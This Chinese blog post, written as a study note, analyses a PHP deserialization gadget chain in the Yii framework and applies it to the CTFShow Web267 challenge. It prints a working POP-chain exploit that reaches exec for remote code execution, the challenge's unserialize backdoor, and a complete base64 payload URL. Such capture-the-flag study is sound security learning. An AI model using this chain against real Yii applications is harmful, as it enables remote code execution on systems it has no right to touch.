Yii反序列化漏洞的学习

Yii反序列化漏洞的学习

Yii框架

Yii是一个适用于开发Web2.0应用程序的高性能PHP框架。

Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持,它特别适合开发大型应用, 如门户网站、社区、内容管理系统(CMS)、 电子商务项目和 RESTful Web 服务等。

Yii控制器,路由和操作

#控制器:控制器以Controller作为后缀,继承自yii\web\Controller类的对象,负责处理请求和生成响应-->一个类
动作:控制器由操作组成,是执行终端用户请求的最基础的单元,一个控制器可有一个或者多个操作-->一种方法
#路由:终端用户通过所谓的路由寻找到动作。-->找到操作的地址

漏洞分析

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = '';	//PHP函数
            $this->id = '';    //PHP函数的参数  
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

从大佬的exp开始分析,exp的执行顺序为:BatchQueryResult->Generator->IndexAction最后rce

new BatchQueryResult():执行了BatchQueryResult类下的__construct函数
new Generator():执行了Generator类下的__construct函数
new IndexAction():执行了IndeIndexAction类中的xAction类下的__construct
最后因为IndexAction类中的checkAccess和id的值是可控的,导致了RCE。

找到第一步BatchQueryResult,这个类是整个POP链的起点

  1. 类中的___destruct()调用了reset()方法,reset方法中的dataReader又是可控的, $this->_dataReader->close();可以利用魔术方法中的 __call方法这就说明在EXP的第二个类Generator存在可利用的__call方法,继续跟进Generator.php。

  2. Generator类中看到__call调用了format方法,format又调用了call_user_func_array,但是$formatter和arguments都是不可控的;继续往下走,$formatter传入了$this->getFormatter,在这个方法中,$this->formatters是我们可控的,也就是说getFormatter方法的返回值是可控的,call_user_func_array这个函数的第一个参数可控,第二个参数为空;那么EXP中的下一步代入了一个无参数的方法去RCE;我们去查看下EXP的最后一步,CreateActiion类中的run()方法,跟进CreateAction.php文件。

  3. CreateAction类中,run()很明显可以看到$this->checkAccess以及$this->id都可控,利用链就出来了

POP:yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\CreateAction.php::run()

CTFShow Web 267

这两个题目就是Yii反序列化的利用

Web267

admin/admin弱口令进入管理员账户,在about页面查看源代码会发现 <!--?view-source -->

访问?r=site%2Fabout&view-source得到:

///backdoor/shell
unserialize(base64_decode($_GET['code']))

现成poc:

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'exec';	//PHP函数
            $this->id = 'cat /flag >2.txt';    //PHP函数的参数  
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo0OiJleGVjIjtzOjI6ImlkIjtzOjE2OiJjYXQgL2ZsYWcgPjIudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19
posted @ 2023-10-26 21:20  B0like  阅读(410)  评论(0)    收藏  举报